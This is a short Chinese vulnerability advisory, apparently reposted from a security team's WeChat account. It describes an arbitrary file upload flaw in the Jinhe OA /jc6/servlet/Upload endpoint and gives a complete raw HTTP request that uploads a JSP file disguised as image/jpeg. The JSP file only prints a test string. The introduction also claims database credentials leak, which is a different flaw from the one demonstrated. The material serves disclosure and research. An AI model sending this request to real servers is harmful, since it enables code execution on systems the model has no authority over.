0. 漏洞介绍
金和OA办公系统是.款集合了办公自动化协同办公工作流管理等功能的企业级管理软件。金和OA办公系统提供了多个模块,包括日程管理、文件管理、邮件管理、人事管理、客户管理、项目管理等。用户可以根据自己的需求选择需要的模块进行使用。该系统存在未授权访问漏洞,攻击者可通过此漏洞获取数据库的账户密码等敏感信息。
1. 影响对象(影响范围)
1.1 影响软件
金和OA
2. 漏洞指纹
3. 漏洞复现
3.1 访问/jc6/servlet/Upload接口并上传文件
/jc6/servlet/Upload 接口是用来上传文件的,可以通过Content-Type
绕过后端检测
POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 197
Content-Type: multipart/form-data; boundary=ee055230808ca4602e92d0b7c4ecc63d
--ee055230808ca4602e92d0b7c4ecc63d
Content-Disposition: form-data; name="img"; filename="1.jsp"
Content-Type: image/jpeg
<% out.println("tteesstt1"); %>
--ee055230808ca4602e92d0b7c4ecc63d--
这里上传了一段JSP代码用于打印特殊字符串tteesstt1
3.2 访问Upload文件
拼接返回包中显示的参数路径并访问,成功打印特殊字符串tteesstt1
原文始发于微信公众号(蟹堡安全团队):金和OA jc6/servlet/Upload接口存在任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论